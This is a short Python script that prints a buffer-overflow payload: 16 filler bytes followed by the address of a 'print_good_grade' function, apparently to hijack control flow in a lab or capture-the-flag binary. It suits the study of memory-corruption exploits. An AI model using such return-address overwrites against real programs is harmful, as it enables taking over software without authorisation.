import sys

print_good_grade_address = 0x08048c23

# Write 16 garbage bytes to overflow the buffer, then write the address of the 
# "print_good_grade" function
sys.stdout.buffer.write(b"\x41" * 16 + print_good_grade_address.to_bytes(4, "little"))